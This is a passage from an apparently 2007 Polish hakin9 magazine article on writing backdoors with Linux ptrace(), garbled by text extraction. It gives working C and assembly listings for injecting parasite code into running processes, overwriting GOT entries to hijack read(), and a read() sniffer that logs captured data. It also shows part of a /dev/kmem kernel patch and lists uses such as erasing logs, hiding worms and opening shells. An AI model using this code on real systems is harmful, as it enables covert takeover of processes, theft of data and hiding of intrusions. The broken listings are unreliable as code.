wania w normalnym, nie śledzonym
trybie, przez

PTRACE _ DETACH

. War-

tość podana jako „request ” okre-
śla akcję, jaka ma być podjęta:

PTRACE _ TRACEME

– oznacza, że ten

proces ma być śledzony przez pro-
ces nadrzędny. Każdy sygnał (po-
za

SIGKILL

) dostarczony do proce-

su spowoduje zatrzymanie, a pro-
ces nadrzędny będzie notyfikowa-
ny w

wait()

. Również każde na-

stępne wywołanie

exec

...

()

przez

ten proces spowoduje dostarczenie
SIGTRAP, umożliwiając procesowi
nadrzędnemu przejęcie kontroli za-
nim nowy program zacznie się wy-
konywać. Proces raczej nie powi-
nien wykonać takiego żądania, jeśli
proces nadrzędny nie oczekuje, że
będzie go śledzić (pid, addr i data
są ignorowane). To powyższe żą-
danie jest używane tylko przez pro-
ces potomny; pozostałe są używa-
ne tylko przez proces nadrzędny.
W pozostałych żądaniach pid okre-
śla proces potomny, na którym na-
leży działać. Dla żądań innych, niż

Listing 1.

Przykładowy ptrace()-owy wstrzykiwacz

#include

<stdio.h>

#include

<stdlib.h>

#include

<unistd.h>

#include

<asm/unistd.h>

#include

<asm/user.h>

#include

<signal.h>

#include

<sys/stat.h>

#include

<sys/wait.h>

#include

<errno.h>

#include

<linux/ptrace.h>

asm

(

"MY_BEGIN:

\n

"

"call para_main

\n

"

);

/* oznaczamy początek kodu pasożyta */

char

*

getstring

(

void

)

{

asm

(

"call me

\n

"

"me:

\n

"

"popl %eax

\n

"

"addl $(MY_END - me), %eax

\n

"

);

}

void

para_main

(

void

)

{

/* tu się zaczyna główny kod pasożyta
* wpisz co ci się podoba...
* to jest tylko przykład
*/

asm

(

"

\n

"

"movl $1, %eax

\n

"

"movl $31337, %ebx

\n

"

"int $0x80

\n

"

"

\n

"

);

/*

* wykonujemy exit(31337);
* tylko po to, żeby było to widać na strace...
*/

}

asm

(

"MY_END:"

);

/* tu kończy się zawartość pasożyta */

char

*

GetParasite

(

void

)

/* umieść pasożyta */

{

asm

(

"call me2

\n

"

"me2:

\n

"

"popl %eax

\n

"

"subl $(me2 - MY_BEGIN), %eax

\n

"

"

\n

"

);

}

int

PARA_SIZE

(

void

)

{

asm

(

"movl $(MY_END-MY_BEGIN), %eax

\n

"

);

/* weź rozmiar pasożyta */

}

int

main

(

int

argc

,

char

*

argv

[])

{

int

parasize

;

int

i

,

a

,

pid

;

char

inject

[

8000

];

struct

user_regs_struct

reg

;

printf

(

"

\n

[Przykladowy wtryskiwacz ptrace]

\n

"

);

if

(

argv

[

1

]

==

0

)

{

printf

(

"[usage: %s [pid] ]

\n\n

"

,

argv

[

0

]);

exit

(

1

);

}

pid

=

atoi

(

argv

[

1

]);

parasize

=

PARA_SIZE

();

/* liczymy rozmiar */

while

((

parasize

%

4

)

!=

0

)

parasize

++;

/* tworzymy kod do wstrzyknięcia */

{

memset

(&

inject

,

0

,

sizeof

(

inject

));

memcpy

(

inject

,

GetParasite

()

,

PARA_SIZE

());

if

(

ptrace

(

PTRACE_ATTACH

,

pid

,

0

,

0

)

<

0

)

/* podłącz się do procesu */

{

hakin9 Nr 1/2007

www.hakin9.org

Atak

14

PTRACE _ KILL

, proces potomny musi

być zatrzymany.

PTRACE _ PEEKTEXT

,

PTRACE _

PEEKDATA

– czyta słowo spod lo-

kacji addr w pamięci procesu po-
tomnego, zwracając je jako rezul-
tat

ptrace()

. Linux nie umieszcza

segmentu kodu i segmentu danych
w osobnych przestrzeniach adre-
sowych, więc te dwa wywołania są
aktualnie równoważne (argument

data jest ignorowany).

PTRACE _ PEEKUSR

– czyta sło-

wo spod przesunięcia addr w prze-
strzeni

USER

procesu potomnego,

który trzyma rejestry i inne informa-
cje o procesie (patrz

<linux/user.h>

i

<sys/user.h>

. Słowo jest zwracane

jako rezultat

ptrace()

. Zwykle prze-

sunięcie musi być wyrównane do
pełnego słowa, może się więc to róż-
nić na różnych architekturach (data
jest ignorowane).

PTRACE _ POKETEXT,

PTRACE _

POKEDATA

– kopiuje słowo spod „da-

ta” do lokacji addr w pamięci proce-
su. Jak wyżej, oba te wywołania są
równoważne.

PTRACE _ POKEUSR

– kopiuje słowo

z data pod przesunięcie addr w prze-
strzeni

USER

procesu potomnego. Jak

wyżej, przesunięcie musi być wyrów-
nane do pełnego słowa. W celu za-
pewnienia spójności jądra, niektóre
modyfikacje w obszarze

USER

są nie-

dozwolone.

PTRACE _ GETREGS

,

PTRACE _

GETFPREGS

– kopiuje odpowiednio re-

jestry ogólnego przeznaczenia lub
rejestry zmiennoprzecinkowe pro-
cesu potomnego do lokacji data w
procesie potomnym. Zobacz

<linux/

user.h>

w celu uzyskania informacji

na temat formatu tych danych (addr
jest ignorowane).

PTRACE _ SETREGS

,

PTRACE _

SETFPREGS

– kopiuje odpowiednio re-

jestry ogólnego przeznaczenia lub
zmiennoprzecinkowe z lokacji data
w procesie nadrzędnym. Podobnie,
jak w

PTRACE _ POKEUSER

, modyfikacja

niektórych rejestrów ogólnego prze-
znaczenia może być niedozwolona
(addr jest ignorowany).

PTRACE _ CONT

– wznawia wyko-

nywanie zatrzymanego procesu
potomnego. Jeśli wartość data jest

Listing 1a.

Przykładowy ptrace()-owy wstrzykiwacz

Przetestujmy to na terminalu (A):

server

:

~#

gcc

ptrace

.

c

-

W

server

:

~#

nc

-

lp

1111

&

[

1

]

7314

server

:

~# ./

a

.

out

7314

[

Przykladowy

wtryskiwacz

ptrace

]

+

attached

to

proccess

id

:

7314

-

sending

stop

signal

..

+

proccess

stopped

.

-

calculating

parasite

injection

size

..

+

Parasite

is

at

:

0x400fa276

-

detach

..

+

finished

!

server

:

~#

A teraz na terminalu (B), pokażemy strace-m proces Netcat:

gw1

:

~#

strace

-

p

7314

Process

7314

attached

-

interrupt

to

quit

accept(3,

Wracamy na terminal A i podłączamy się pod zainfekowany proces

Netcat:

server

:

~#

nc

-

v

localhost

1111

localhost

[

127.0

.

0.1

]

1111

(

?

)

open

[

1

]+

Exit

105

nc

-

lp

1111

server

:

~#

Sprawd

ź

my

teraz

,

co

napisa

ł

strace

na

terminalu

B

:

accept

(

3

,

{

sa_family

=

AF_INET

,

sin_port

=

htons

(

35261

)

,

sin_addr

=

inet_addr

(

"127.0.0.1"

)

}

,

[

16

])

=

4

_exit

(

31337

)

=

?

Process

7314

detached

server

:

~#

Listing 1b.

Prosty wstrzykiwacz ptrace()

printf

(

"cant attach to pid %d: %s

\n

"

,

pid

,

strerror

(

errno

));

exit

(

1

);

}

printf

(

"+ attached to proccess id: %d

\n

"

,

pid

);

printf

(

"- sending stop signal..

\n

"

);

kill

(

pid

,

SIGSTOP

);

/* zatrzymaj proces*/

waitpid

(

pid

,

NULL

,

WUNTRACED

);

printf

(

"+ proccess stopped.

\n

"

);

ptrace

(

PTRACE_GETREGS

,

pid

,

0

,

&

reg

);

/* pobierz rejestry */

printf

(

"- calculating parasite injection size..

\n

"

);

for

(

i

=

0

;

i

<

parasize

;

i

+=

4

)

/* wrzuć kod pasożyta pod %eip */

{

int

dw

;

memcpy

(&

dw

,

inject

+

i

,

4

);

ptrace

(

PTRACE_POKETEXT

,

pid

,

reg

.

eip

+

i

,

dw

);

}

printf

(

"+ Parasite is at: 0x%x

\n

"

,

reg

.

eip

);

printf

(

"- detach..

\n

"

);

ptrace

(

PTRACE_CONT

,

pid

,

0

,

0

);

/* wznów proces potomny */

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

15

niezerowa i nie

SIGSTOP

, jest inter-

pretowana jako sygnał, który nale-
ży dostarczyć do procesu; w prze-
ciwnym razie nie jest dostarcza-
ny żaden sygnał. W ten sposób,
na przykład, proces potomny mo-
że kontrolować, czy sygnał wysła-
ny do procesu potomnego był do-
starczony, czy nie (addr jest igno-
rowane).

PTRACE _ SYSCALL

,

PTRACE _ SINGLE

-

STEP

– wznawia wykonywanie zatrzy-

manego procesu potomnego, jak dla

PTRACE _ CONT

, ale zarządza, że pro-

ces potomny będzie zatrzymany od-
powiednio przy następnym wejściu
lub wyjściu z wywołania systemo-
wego, albo wywołaniu pojedynczej
instrukcji (proces potomny zatrzy-
ma się też, jak zwykle, po otrzyma-
niu sygnału). Z punktu widzenia pro-
cesu nadrzędnego, proces potom-
ny będzie wyglądał, jakby został za-
trzymany przez otrzymanie

SIGTRAP

.

Zatem P

TRACE _ SYSCALL

można użyć

w ten sposób, że sprawdzamy argu-
menty przesłane do wywołania sys-
temowego przy pierwszym wołaniu,
a następnie dokonujemy następne-
go

PTRACE _ SYSCALL

i sprawdzamy

wartość zwróconą przez wywołanie
systemowe w następnym zatrzyma-
niu (addr jest ignorowane).

PTRACE _ KILL

– wysyła

SIGKILL

procesowi potomnemu powodując
jego zakończenie (addr i data są
ignorowane).

PTRACE _ ATTACH

– dołącza się do

procesu podanego jako pid, powo-
dując że ten proces staje się śle-
dzonym procesem potomnym dla
bieżącego procesu, czyli tak, jak-
by ten „potomny” proces wyko-
nał

PTRACE _ TRACEME

. Bieżący pro-

ces staje się w istocie procesem
nadrzędnym tego potomnego pro-
cesu dla niektórych zastosowań
(np. będzie dostawał notyfikacje
zdarzeń procesu potomnego i bę-
dzie widoczny w raporcie ps(1) ja-
ko proces nadrzędny tego proce-
su, ale getppid(2) w procesie po-
tomnym będzie wciąż zwracać pid
oryginalnego procesu nadrzędne-
go. Proces potomny dostaje sygnał

SIGSTOP

, ale niekoniecznie zatrzy-

ma się na tym wywołaniu; należy

Listing 3.

Przykład sys_write

int

patched_syscall

(

int

fd

,

char

*

data

,

int

size

)

{

// pobieramy wszystkie parametry ze stosu, deskryptor umieszczony
// pod 0x8(%esp), dane pod 0xc(%esp), a rozmiar pod 0x10(%esp)

asm

(

"

movl

$

4

,

%

eax

# oryginalne wywołanie systemowe

movl

$

0x8

(%

esp

)

,

%

ebx

# fd

movl

$

0xc

(%

esp

)

,

%

ecx

# dane

movl

$

0x10

(%

esp

)

,

%

edx

# rozmiar

int

$

0x80

// po wywołaniu przerwania, wartość zwracana zostanie zapisana w %eax
// jeśli chcesz dodać kod za oryginalnym wywołaniem systemowym

// należy zapamiętać gdzie indziej %eax i przywrócić
na końcu

// nie wstawiaj instrukcji 'ret' na koniec!

"

)

Listing 2.

Rzut oka na tablicę GOT

[

root

@

hal

/

root

]

# objdump -R /usr/sbin/httpd |grep read

08086

b5c

R_386_GLOB_DAT

ap_server_post_read_config

08086

bd0

R_386_GLOB_DAT

ap_server_pre_read_config

08086

c0c

R_386_GLOB_DAT

ap_threads_per_child

080869

b0

R_386_JUMP_SLOT

fread

08086

b24

R_386_JUMP_SLOT

readdir

08086

b30

R_386_JUMP_SLOT

read

<--

tu

mamy

nasz

ą

read

()

[

root

@

hal

/

root

]

#

Listing 4.

Kod z infektora Ii, znaleziony w internecie, do przydzielania

potrzebnej pamięci

void

infect_code

()

{

asm

(

"

xorl %eax,%eax
push %eax # offset = 0
pushl $-1 # no fd
push $0x22 # MAP_PRIVATE|MAP_ANONYMOUS
pushl $3 # PROT_READ|PROT_WRITE
push $0x55 # mmap() przydziela 1000 bajtów domyślnie, więc
# jeśli potrzeba więcej, oblicz potrzebny rozmiar.
pushl %eax # start addr = 0
movl %esp,%ebx
movb $45,%al
addl $45,%eax # mmap()
int $128
ret
"

);

}

Listing 1c.

Prosty wstrzykiwacz ptrace()

ptrace

(

PTRACE_DETACH

,

pid

,

0

,

0

);

/* odłącz się od procesu */

printf

(

"+ finished!

\n\n

"

);

exit

(

0

);

}

}

hakin9 Nr 1/2007

www.hakin9.org

Atak

16

użyć wait() w celu zaczekania, aż
proces potomy się zatrzyma (addr i
data są ignorowane).

PTRACE _ DETACH

– wznawia zatrzy-

many proces potomny, jak dla

PTRACE _

CONT

, ale uprzednio odłącza się od

procesu, cofając efekt zmiany rodzi-
ca wywołany przez

PTRACE _ ATTACH

i

efekt wywołania

PTRACE _ TRACEME

. Mi-

mo, że niekoniecznie o to może cho-
dzić, pod Linuksem śledzony proces
potomny może zostać odłączony w
ten sposób, niezależnie od metody
użytej do rozpoczęcia śledzenia (addr
jest ignorowany).

Dobrze, nie martw się, nie musisz
wszystkiego rozumieć już teraz. Po-
każę Ci niektóre zastosowania póź-
niej w tym artykule.

Praktyczne

zastosowania

wywołania ptrace()

Zwykle

ptrace()

jest stosowane do

śledzenia procesów w celach debu-
gowych. Może być całkiem poręcz-
ne. Programy strace i ltrace używa-
ją wywołań

ptrace()

do śledzenia

wykonujących się procesów. Jest
parę interesujących i użytecznych

programów na sieci i możesz po-
szukać Googlem jakichś progra-
mów w akcji.

Czym są pasożyty

Pasożyty są to nie replikowane sa-
modzielnie kody, które wstrzykuje
się do programów przez zainfeko-
wanie ELF-a lub bezpośrednio do
pamięci procesu w czasie jego wy-
konywania, przez

ptrace()

. Główna

różnica zasadza się tu na tym, że in-
fekcja

ptrace()

nie jest rezydentna,

podczas gdy infekcja ELF-a zaraża
plik binarny podobnie jak wirus i po-
zostaje tam nawet po restarcie sys-
temu. Pasożyt wstrzyknięty przez

ptrace()

rezyduje tylko w pamięci,

zatem jeśli proces, na przykład, do-
stanie

SIGKILL

-a, pasożyt wyciągnie

nogi wraz z nim. Ponieważ

ptrace()

jest stosowany do wstrzykiwania ko-
du w trakcie wykonywania procesu,
zatem w oczywisty sposób nie bę-
dzie to kod rezydentny.

Klasyczne

wstrzyknięcie ptrace()

Ptrace()

potrafi obserwować i kon-

trolować wykonanie innego procesu.
Jest również władny zmieniać jego
rejestry. Skoro można zatem zmie-
niać rejestry innego procesu, jest to
nieco oczywiste, dlaczego może być
użyty do eksploitów. Oto przykład
starej dziury

ptrace()

w starym ją-

drze Linuksa.

Jądra Linuxa przed 2.2.19 mia-

ły błąd pozwalający uzyskać lokal-
nie roota i większość ludzi używa-
jących tego jądra mogła jeszcze go
nie poprawić. W każdym razie ta
dziura wykorzystuje sytuację wyści-
gu w jądrze Linuksa 2.2.x wewnątrz
wywołania systemowego

execve()

.

Wstrzymując proces potomny
przez

sleep()

wewnątrz

execve()

,

atakujący może użyć

ptrace()

lub

podobnych mechanizmów do prze-
jęcia kontroli nad procesem potom-
nym. Jeśli proces potomny ma se-

tuid, atakujący może użyć procesu
potomnego do wykonania dowolne-
go kodu na podkręconych prawach.
Znanych jest też kilka innych pro-
blemów bezpieczeństwa związa-
nych z

ptrace()

w jądrze Linuxa

Rysunek 1.

Ściągnięcie i kompilacja wstrzykiwacza

Listing 5.

Przykład, czego potrzeba do funkcji infect_code()

ptrace

(

PTRACE_GETREGS

,

pid

,

&

reg

,

&

reg

);

ptrace

(

PTRACE_GETREGS

,

pid

,

&

regb

,

&

regb

);

reg

.

esp

-=

4

;

ptrace

(

PTRACE_POKETEXT

,

pid

,

reg

.

esp

,

reg

.

eip

);

ptr

=

start

=

reg

.

esp

-

1024

;

reg

.

eip

=

(

long

)

start

+

2

;

ptrace

(

PTRACE_SETREGS

,

pid

,

&

reg

,

&

reg

);

while

(

i

<

strlen

(

sh_code

))

{

ptrace

(

PTRACE_POKETEXT

,

pid

,

ptr

,

(

int

)

*(

int

*)(

sh_code

+

i

));

i

+=

4

;

ptr

+=

4

;

}

printf

(

"trying to allocate memory

\n

"

);

ptrace

(

PTRACE_SYSCALL

,

pid

,

0

,

0

);

ptrace

(

PTRACE_SYSCALL

,

pid

,

0

,

0

);

ptrace

(

PTRACE_SYSCALL

,

pid

,

0

,

0

);

ptrace

(

PTRACE_GETREGS

,

pid

,

&

reg

,

&

reg

);

ptrace

(

PTRACE_SYSCALL

,

pid

,

0

,

0

);

printf

(

"new memory region mapped to..: 0x%.8lx

\n

"

,

reg

.

eax

);

printf

(

"backing up registers...

\n

"

);

ptrace

(

PTRACE_SETREGS

,

pid

,

&

regb

,

&

regb

);

printf

(

"dynamical mapping complete!

\n

"

,

pid

);

ptrace

(

PTRACE_DETACH

,

pid

,

0

,

0

);

return

reg

.

eax

;

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

17

przed 2.2.19 i po, które oznaczo-
no już jako rozwiązane, ale wielu
administratorów nie założyło jesz-
cze łat, więc te błędy mogą wciąż
istnieć na wielu systemach. Podob-
ny problem istnieje w 2.4.x – sytu-
acja wyścigu w

kernel/kmod.c

, któ-

ry tworzy wątek jądra w sposób na-
rażający bezpieczeństwo.

Ten błąd pozwala

ptrace()

-ować

sklonowane procesy, przez co moż-
na przejąć kontrolę nad uprzywile-
jowanymi binariami. Załączam kod
eksploita na tą dziurę jako Proof

of Concept (patrz Listing 9). To był
drobny przykład, jak użyć

ptrace

()

do poszerzania uprawnień. A, no
cóż, myślę, że na razie mały przy-

kład ze wstrzykiwaniem, i wystar-
czy jak na nasz pierwszy przykła-
dowy kod. Zatem, oto ten przykład,
prosty

ptrace()

-owy wstrzykiwacz

(Listingi 1 i 2).

Jak widać, działa! Dobrze, wystar-

czy jak na tą część. To jest wstrzyki-
wanie przez

ptrace().

Przejdźmy te-

raz do bardziej zaawansowanych
technik związanych z tą funkcją. W ra-
zie wątpliwości, możesz przeczytać
ten artykuł jeszcze raz od początku
i pobawić się z załączonym przykła-
dem, po prostu w celu pełnego zrozu-
mienia, o co w tym chodzi, co jest wy-
magane w pozostałej części artykułu,
jeśli chcesz zrozumieć

ptrace()

.

Nadpisywanie

funkcji przez ptrace()

Ta technika jest nieco bardziej za-
awansowana i takoż użyteczna – nad-
pisywanie funkcji za pomocą ptrace().
Na pierwszy rzut oka wygląda tak sa-
mo, jak wstrzykiwanie przez ptrace(),
ale faktycznie jest trochę inne. Zwykle
wstrzykujemy nasz kod powłokowy do
procesu. Wstawiamy to na stos i zmie-
niamy parę rejestrów. Jest to więc tro-
chę ograniczone i jednorazowego
użytku. Jeśli jednak załatamy wywo-
łania systemowe w przestrzeni jądra,
będzie to jak zaimportowanie dzielo-
nej funkcji, która wykonuje te same
akcje, co prawdziwe wywołanie sys-
temowe. Globalna Tablica Przesunięć
(GOT) podaje nam lokację wywołania
systemowego w pamięci, gdzie bę-
dzie to zamapowane po załadowaniu.
Najprościej można to odczytać przez

objdump, wystarczy wygrepować z te-
go relokację wywołania systemowe-
go. Rzućmy okiem na Listing 2.

Za każdym razem, gdy proces

chce wywołać

read()

, woła adres

POD 08086b30. Pod 08086b30 jest
inny adres, który wskazuje na fak-
tyczną read. Jeśli wpiszesz inny adres
pod 08086b30, następnym razem, jak
proces zawoła

read()

, skoczy zupeł-

nie gdzie indziej. Jeśli zrobisz:

movl $0x08086b30, %eax
movl $0x41414141, (%eax)

to następnym razem, gdy zostanie za-
wołana

read()

, zainfekowany proces

Listing 7a.

Drobna funkcja pobierająca segment kodu docelowego

procesu

int

get_textsegment

(

int

pid

,

int

*

size

)

{

Elf32_Ehdr

ehdr

;

char

buf

[

128

];

FILE

*

input

;

int

i

;

snprintf

(

buf

,

sizeof

(

buf

)

,

"/proc/%d/exe"

,

pid

);

if

(!(

input

=

fopen

(

buf

,

"rb"

)))

return

(-

1

);

if

(

fread

(&

ehdr

,

sizeof

(

Elf32_Ehdr

)

,

1

,

input

)

!=

1

)

Listing 6.

Przykład sniffera read()

#

define

LOGFILE

"/tmp/read.sniffed"

asm

(

"INJECT_PAYLOAD_BEGIN:"

);

int

Inject_read

(

int

fd

,

char

*

data

,

int

size

)

{

asm

(

"

jmp DO
DONT:
popl %esi # pobierz adres pliku logowania
xorl %eax, %eax
movb $3, %al # wywołaj read()
movl 8(%esp), %ebx # ebx: fd
movl 12(%esp),%ecx # ecx: data
movl 16(%esp),%edx # edx: size
int $0x80
movl %eax, %edi # zachowaj wartość zwracaną przez funkcję w %edi
movl $5, %eax # wywolaj open()
movl %esi, %ebx # LOGFILE
movl $0x442, %ecx # O_CREAT|O_APPEND|O_WRONLY
movl $0x1ff, %edx # prawa dostępu 0777
int $0x80
movl %eax, %ebx # ebx: fd przez następne dwa wywołania
movl $4, %eax # write() zapis do logu
movl 12(%esp),%ecx # wskaźnik na dane
movl %edi, %edx # wartość zwrócona z read - ilość przeczytanych bajtów
int $0x80
movl $6, %eax # zgadnij :P
int $0x80
movl %edi, %eax # zwróć %edi
jmp DONE
DO:
call DONT
.ascii

\"

"

LOGFILE

"

\"

.byte 0x00
DONE:
"

);

}

asm

(

"INJECT_P_END:"

);

hakin9 Nr 1/2007

www.hakin9.org

Atak

18

naruszy segmentację na 0x41414141.
Uzbrojeni w tą wiedzę możemy pójść
krok dalej. Pomyślmy o możliwo-
ściach, jakie mamy. Ponieważ jeste-
śmy w stanie nadpisać dowolną funk-
cję w locie, możemy wstawiać różne
furtki do uruchomionych procesów.

Możemy całkowicie kontrolować

przepływ wykonania np. daemona,
przejmować wywołania systemowe,
zmieniać wartości zwracane lub lo-
gować dane. Najpierw potrzebujemy
jednak pewnej przestrzeni na furtkę.
Mamy ok. 240 bajtów nieużywanej
przestrzeni pamięci pod 0x8048000.
Przestrzeń ta jest zajmowana przez
nagłówki ELF-a, które nie są używa-
ne podczas wykonywania. Możesz
po prostu zmienić te dane i wrzucić
co ci się podoba do tej przestrzeni
i nic się nie stanie. Zatem zamiast
niszczyć dane przez wstrzykiwanie
ładunku pod

%eip

, możemy wrzucić

to właśnie tam, albo chociaż paso-
żyta inicjatywnego, który zaciągnie
później większego pasożyta.

Przejmowanie

wywołań systemowych

Segment .text zawiera nagłówki pro-
gramu ELF i inne informacje, któ-
re są używane tylko do inicjaliza-
cji. Po załadowaniu procesu, ten
nagłówek jest już nieużywany i mo-
żemy bezpiecznie go nadpisać na-
szym kodem. Do pobrania począt-
kowej pozycji tej sekcji trzeba spraw-
dzić

p _ vaddr

. Sekcja ta ma ustalony

rozmiar; wykonując proste obliczenia
mamy nasz wzór:

największy_możliwy_rozmiar
=sizeof(e_hdr)+sizeof(p_hdr)
*liczba_p_headerów

To mało, ale wystarczy na nasz
schludny kod asemblera. Przy pod-
mienianiu wywołania systemowe-
go powinniśmy zachować oryginal-
ne wywołanie. Naszą implemen-
tację powinniśmy napisać tak, że-
by zachowywała się jak oryginał.
Poniżej przedstawiona jest część
kodu, która nadpisze wybrane wy-
wołanie systemowe wybranego pro-
cesu. Przykład z

sys _ write

jest

pokazany na Listingu 3.

Listing 7b.

Drobna funkcja pobierająca segment kodu docelowego

procesu

goto

end

;

/*

* czytamy nagłówek ELF + kilka kalkulacji
*/

*

size

=

sizeof

(

Elf32_Ehdr

)

+

ehdr

.

e_phnum

*

sizeof

(

Elf32_Phdr

);

if

(

fseek

(

input

,

ehdr

.

e_phoff

,

SEEK_SET

)

!=

0

)

goto

end

;

for

(

i

=

0

;

i

<

ehdr

.

e_phnum

;

i

++)

{

Elf32_Phdr

phdr

;

if

(

fread

(&

phdr

,

sizeof

(

Elf32_Phdr

)

,

1

,

input

)

!=

1

)

goto

end

;

if

(

phdr

.

p_offset

==

0

)

{

fclose

(

input

);

return

phdr

.

p_vaddr

;

}

}

end

:;

fclose

(

input

);

return

(-

1

);

}

/*

Teraz wywołanie naszej funkcji z main()

*/

if

((

textseg

=

get_textsegment

(

pid

,

&

size

))

==

-

1

)

{

fprintf

(

stderr

,

"unable to locate pid %d

\'

s text segment address (%s)

\n

"

,

"

nie

odnaleziono

dla

pid

%

d

\

s

'

adresu

bufora

tekstowego

%

s

\

n

pid

,

strerror

(

errno

));

return

(-

1

);

}

/*

teraz musimy określić rozmiar kodu wstawianego,

* nie może on (dla bezpieczeństwa) przekroczyć 244 bajtów!
*/

if

(

inject_parasite_size

()

>

size

)

{

// validate the size

fprintf

(

stderr

,

"Twoj pasozyt jest zbyt duzy. Zoptymizuj go!"

);

return

(-

1

);

}

/*
readgot jest funkcją, która zwróci nam globalny adres read() z tablicy

adresów.

objdump twoim przyjacielem, więc można napisać
funkcyjkę, która używa objdump by otrzymać GOT.
Jeśli jesteś leniwy, możesz dostarczyć GOT w argv[2] lub
zastosować inne rozwiązanie. Ten punkt pozostawiamy jako ćwiczenie
dla zainteresowanego użytkownika
*/

snprintf

(

buf

,

sizeof

(

buf

)

,

"/proc/%d/exe"

,

pid

);

if

((

readgot

=

got

(

buf

,

"read"

))

<

0

)

{

// grab read's GOT addy

fprintf

(

stderr

,

"Unable to extract read()

\'

s GOT address

\n

"

);

return

(-

1

);

}

/*

wstrzykniecie pasożyta do segmentu kodu

*/

if

(

inject

(

pid

,

textseg

,

inject_parasite_size

()

,

inject_parasite_ptr

())

<

0

)

{

fprintf

(

stderr

,

" Wstrzykniecie nieudane! (%s)

\n

"

,

strerror

(

errno

));

return

(-

1

);

}

/*

nadpisz globalny offset funkcji read w tablicy adresów

*/

if

(

inject

(

pid

,

readgot

,

4

,

(

char

*)

&

textseg

)

<

0

)

{

fprintf

(

stderr

,

" Nieudane wstrzykniecie rekordu GOT! (%s)

\n

"

,

strerror

(

errno

));

return

(-

1

);

}

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

19

Na szczęście nie musimy się

martwić stosem wywołań i zerami
w kodzie; nasze podmienione wy-
wołanie systemowe żyje wewnątrz
procesu i znów, niestety, miejsce na
nasz kod jest ograniczone. Spójrz-
my na informacje, jakie mamy, że-
by skonstruować nasz nadpisywacz
funkcji:

• sam proces i jego ID;
• funkcja, która ma być naszą furt-

ką;

• adres funkcji z Globalnej Tablicy

Przesunięć;

• adres segmentu .text;
• nasza implementacja funkcji furt-

kowej.

Przełamywanie

ograniczenia rozmiaru

Jak powiedziałem, nagłówki ELF
zajmują ok. 244 bajty i to jest za
mało na dużą furtkę, zatem usiło-
wałem wymyślić sposób na zaim-
plementowanie znacznie większej
furtki.

Pierwszym pomysłem jest przy-

dział dynamicznej pamięci:

• wstaw na stos kod, który zama-

puje nowy obszar pamięci (za po-
mocą

mmap()

);

• pobierz wskaźnik do zamapowa-

nej pamięci;

• użyj

inject()

do wstawienia two-

jego kodu do pamięci przydzielo-
nej dynamicznie, ale zamiast ad-
resu segmentu .text użyj zama-
powanej pamięci.

sh_code = malloc(strlen((char*)
infect_code) +4);
strcpy(sh_code,(char *) infect_code);
reg.eax = infect_ptrace(pid);

Żeby zaalokować pamięć bez wyko-
nywania stosu, można lekko zmodyfi-
kować schemat:

• nadpisz pozycję segmentu .text

przez

infect _ code()

. Nie zapo-

mnij dodać oryginalne read.

• odwołaj się do oryginalnego

read()

, po czym zachowaj zwró-

coną wartość. Jeśli np. stawiasz
furtkę na Netcat, należy się

Listing 8a.

Łata na jądro umożliwiająca ptrace() na init

#define _GNU_SOURCE
#include

<asm/unistd.h>

#include

<sys/types.h>

#include

<sys/stat.h>

#include

<unistd.h>

#include

<string.h>

#include

<stdlib.h>

#include

<stdio.h>

#include

<fcntl.h>

int

kmem_fd

;

/* low level utility subroutines */

void

read_kmem

(

off_t

offset

,

void

*

buf

,

size_t

count

)

{

if

(

lseek

(

kmem_fd

,

offset

,

SEEK_SET

)

!=

offset

)

{

perror

(

"lseek(kmem)"

);

exit

(

1

);

}

if

(

read

(

kmem_fd

,

buf

,

count

)

!=

(

long

)

count

)

{

perror

(

"read(kmem)"

);

exit

(

2

);

}

}

void

write_kmem

(

off_t

offset

,

void

*

buf

,

size_t

count

)

{

if

(

lseek

(

kmem_fd

,

offset

,

SEEK_SET

)

!=

offset

)

{

perror

(

"lseek(kmem)"

);

exit

(

3

);

}

if

(

write

(

kmem_fd

,

buf

,

count

)

!=

(

long

)

count

)

{

perror

(

"write(kmem)"

);

exit

(

4

);

}

}

#define GCC_295 2
#define GCC_3XX 3
#define BUFSIZE 256

int

main

(

void

)

{

int

kmode

,

gcc_ver

;

int

idt

,

int80

,

sct

,

ptrace

;

char

buffer

[

BUFSIZE

]

,

*

p

,

c

;

if

(

(

kmem_fd

=

open

(

"/dev/kmem"

,

O_RDWR

)

)

<

0

)

{

dev_t

kmem_dev

=

makedev

(

1

,

2

);

perror

(

"open(/dev/kmem)"

);

if

(

mknod

(

"/tmp/kmem"

,

0600

|

S_IFCHR

,

kmem_dev

)

<

0

)

{

perror

(

"mknod(/tmp/kmem)"

);

return

(

16

);

}

if

(

(

kmem_fd

=

open

(

"/tmp/kmem"

,

O_RDWR

)

)

<

0

)

{

perror

(

"open(/tmp/kmem)"

);

return

(

17

);

}

unlink

(

"/tmp/kmem"

);

}

asm

(

"sidt %0"

:

"=m"

(

buffer

)

);

idt

=

*(

int

*)(

buffer

+

2

);

hakin9 Nr 1/2007

www.hakin9.org

Atak

20

potem podłączyć do niego i wy-
słać jakieś dane, żeby wymusić
zawołanie podmienionego

read()

;

• następnym wywołaniem będzie

mmap()

, które przydzieli pamięć.

Pobierz wartość zwróconą i użyj
jej w

inject()

.

•

inject()

jest prostą funkcją wstrzy-

kiwania

ptrace()

. Mały przykład,

czego potrzeba do

infect _ code()

po podłączeniu się do procesu,
pokazano na Listingu 5.

Teraz możemy implementować furtki
niemal nieograniczonego rozmiaru,
możemy zatem wstrzykiwać znacz-
nie bardziej zaawansowany kod do
procesu.

Co możemy

Co możemy zrobić uzbrojeni w tą
wiedzę? W sumie jest to to samo, co
standardowe nadpisywanie funkcji
(jeśli jesteś już z tym oswojony), tak
jak używaliśmy

ptrace()

do nadpisa-

nia i wstrzykiwania kodu. Popaprzmy
na parę podstawowych możliwości:

• zmiana wartości zwracanej, np.

udawane wiadomości z loga itp.;

• usuwanie plików (wiadomości z

loga), które mogłyby odkryć IP
atakującego itd.;

• ukrywanie plików, np. wirusów

i robaków, czy zaszyfrowanych
wiadomości w procesie;

• nasłuchiwanie (snifowanie) lub

logowanie komunikacji;

• uruchamianie powłoki do połą-

czenia lub łączenie się w drugą
stronę;

• przejmowanie sesji;
• zmienianie znaczników czasu lub

sum md5.

Jak widać, mamy do dyspozycji cały
wachlarz metod stawiania furtek. Co
ważne, możesz kontrolować całą ko-
munikację procesu, a nawet dokład-
nie cały przepływ wykonania. Możesz
dodawać nowe funkcje do niego, lub
usuwać niektóre (jak funkcje logują-
